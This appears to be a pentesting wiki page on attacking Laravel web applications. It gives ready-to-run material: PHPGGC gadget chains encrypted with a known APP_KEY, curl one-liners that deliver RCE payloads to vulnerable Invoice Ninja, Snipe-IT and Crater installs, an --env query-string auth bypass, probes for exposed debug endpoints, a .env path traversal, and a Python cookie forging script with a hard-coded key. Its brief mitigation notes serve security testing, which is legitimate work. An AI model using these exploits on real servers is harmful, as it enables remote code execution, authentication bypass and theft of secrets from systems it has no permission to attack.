# Laravel {{#include ../../banners/hacktricks-training.md}} ### Laravel SQLInjection Read information about this here: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) --- ## APP_KEY & Encryption internals (Laravel \u003e=5.6) Laravel uses AES-256-CBC (or GCM) with HMAC integrity under the hood (`Illuminate\\Encryption\\Encrypter`). The raw ciphertext that is finally **sent to the client** is **Base64 of a JSON object** like: ```json { "iv" : "Base64(random 16-byte IV)", "value": "Base64(ciphertext)", "mac" : "HMAC_SHA256(iv||value, APP_KEY)", "tag" : "" // only used for AEAD ciphers (GCM) } ``` `encrypt($value, $serialize=true)` will `serialize()` the plaintext by default, whereas `decrypt($payload, $unserialize=true)` **will automatically `unserialize()`** the decrypted value. Therefore **any attacker that knows the 32-byte secret `APP_KEY` can craft an encrypted PHP serialized object and gain RCE via magic methods (`__wakeup`, `__destruct`, …)**. Minimal PoC (framework ≥9.x): ```php use Illuminate\Support\Facades\Crypt; $chain = base64_decode(''); // e.g. phpggc Laravel/RCE13 system id -b -f $evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste ``` Inject the produced string into any vulnerable `decrypt()` sink (route param, cookie, session, …). --- ## laravel-crypto-killer 🧨 [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automates the whole process and adds a convenient **bruteforce** mode: ```bash # Encrypt a phpggc chain with a known APP_KEY laravel_crypto_killer.py encrypt -k "base64:" -v "$(phpggc Laravel/RCE13 system id -b -f)" # Decrypt a captured cookie / token laravel_crypto_killer.py decrypt -k -v # Try a word-list of keys against a token (offline) laravel_crypto_killer.py bruteforce -v -kf appkeys.txt ``` The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field. --- ## Real-world vulnerable patterns | Project | Vulnerable sink | Gadget chain | |---------|-----------------|--------------| | Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 | | Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 | | Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 | The exploitation workflow is always: 1. Obtain or brute-force the 32-byte `APP_KEY`. 2. Build a gadget chain with **PHPGGC** (for example `Laravel/RCE13`, `Laravel/RCE9` or `Laravel/RCE15`). 3. Encrypt the serialized gadget with **laravel_crypto_killer.py** and the recovered `APP_KEY`. 4. Deliver the ciphertext to the vulnerable `decrypt()` sink (route parameter, cookie, session …) to trigger **RCE**. Below are concise one-liners demonstrating the full attack path for each real-world CVE mentioned above: ```bash # Invoice Ninja ≤5 – /route/{hash} php8.2 phpggc Laravel/RCE13 system id -b -f | \ ./laravel_crypto_killer.py encrypt -k -v - | \ xargs -I% curl "https://victim/route/%" # Snipe-IT ≤6 – XSRF-TOKEN cookie php7.4 phpggc Laravel/RCE9 system id -b | \ ./laravel_crypto_killer.py encrypt -k -v - > xsrf.txt curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login # Crater – cookie-based session php8.2 phpggc Laravel/RCE15 system id -b > payload.bin ./laravel_crypto_killer.py encrypt -k -v payload.bin --session_cookie= > forged.txt curl -H "Cookie: laravel_session=; =$(cat forged.txt)" https://victim/login ``` ## Mass APP_KEY discovery via cookie brute-force Because every fresh Laravel response sets at least 1 encrypted cookie (`XSRF-TOKEN` and usually `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** that can be attacked offline. Key findings of the research published by Synacktiv (2024-2025): * Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k) * Dataset May 2025 » 625 k tokens, **3.56 % keys cracked** * >1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data. * Huge key reuse – the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …). The private Go tool **nounours** pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes. ## CVE-2024-52301 – HTTP argv/env override → auth bypass When PHP’s `register_argc_argv=On` (typical on many distros), PHP exposes an `argv` array for HTTP requests derived from the query string. Recent Laravel versions parsed these “CLI-like” args and honored `--env=` at runtime. This allows flipping the framework environment for the current HTTP request just by appending it to any URL: - Quick check: - Visit `https://target/?--env=local` or any string and look for environment-dependent changes (debug banners, footers, verbose errors). If the string is reflected, the override is working. - Impact example (business logic trusting a special env): - If the app contains branches like `if (app()->environment('preprod')) { /* bypass auth */ }`, you can authenticate without valid creds by sending the login POST to: - `POST /login?--env=preprod` - Notes: - Works per-request, no persistence. - Requires `register_argc_argv=On` and a vulnerable Laravel version that reads argv for HTTP. - Useful primitive to surface more verbose errors in “debug” envs or to trigger environment-gated code paths. - Mitigations: - Disable `register_argc_argv` for PHP-FPM/Apache. - Upgrade Laravel to ignore argv on HTTP requests and remove any trust assumptions tied to `app()->environment()` in production routes. Minimal exploitation flow (Burp): ```http POST /login?--env=preprod HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded ... email=a@b.c&password=whatever&remember=0xdf ``` --- ## Laravel Tricks ### Debugging mode If Laravel is in **debugging mode** you will be able to access the **code** and **sensitive data**.\ For example `http://127.0.0.1:8000/profiles`: ![](<../../images/image (1046).png>) This is usually needed for exploiting other Laravel RCE CVEs. ### Fingerprinting & exposed dev endpoints Quick checks to identify a Laravel stack and dangerous dev tooling exposed in production: - `/_ignition/health-check` → Ignition present (debug tool used by CVE-2021-3129). If reachable unauthenticated, the app may be in debug or misconfigured. - `/_debugbar` → Laravel Debugbar assets; often indicates debug mode. - `/telescope` → Laravel Telescope (dev monitor). If public, expect broad information disclosure and possible actions. - `/horizon` → Queue dashboard; version disclosure and sometimes CSRF-protected actions. - `X-Powered-By`, cookies `XSRF-TOKEN` and `laravel_session`, and Blade error pages also help fingerprint. ```bash # Nuclei quick probe nuclei -nt -u https://target -tags laravel -rl 30 # Manual spot checks for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done ``` ### .env Laravel saves the APP it uses to encrypt the cookies and other credentials inside a file called `.env` that can be accessed using some path traversal under: `/../.env` Laravel will also show this information inside the debug page (that appears when Laravel finds an error and it's activated). Using the secret APP_KEY of Laravel you can decrypt and re-encrypt cookies: ### Decrypt Cookie ```python import os import json import hashlib import sys import hmac import base64 import string import requests from Crypto.Cipher import AES from phpserialize import loads, dumps #https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3 def mcrypt_decrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.decrypt(value) def mcrypt_encrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.encrypt(value) def decrypt(bstring): global key dic = json.loads(base64.b64decode(bstring).decode()) mac = dic['mac'] value = bytes(dic['value'], 'utf-8') iv = bytes(dic['iv'], 'utf-8') if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest(): return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv)) #return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode() return '' def encrypt(string): global key iv = os.urandom(16) #string = dumps(string) padding = 16 - len(string) % 16 string += bytes(chr(padding) * padding, 'utf-8') value = base64.b64encode(mcrypt_encrypt(string, iv)) iv = base64.b64encode(iv) mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest() dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac} return base64.b64encode(bytes(json.dumps(dic), 'utf-8')) app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k=' key = base64.b64decode(app_key) decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9') #b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e' encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}') ``` ### Laravel Deserialization RCE Vulnerable versions: 5.5.40 and 5.6.x through 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) Here you can find information about the deserialization vulnerability here: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) You can test and exploit it using [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ Or you can also exploit it with metasploit: `use unix/http/laravel_token_unserialize_exec` ### CVE-2021-3129 Another deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) ## References * [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) * [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html) * [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) * [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc) * [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) * [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h) * [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301) * [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) {{#include ../../banners/hacktricks-training.md}}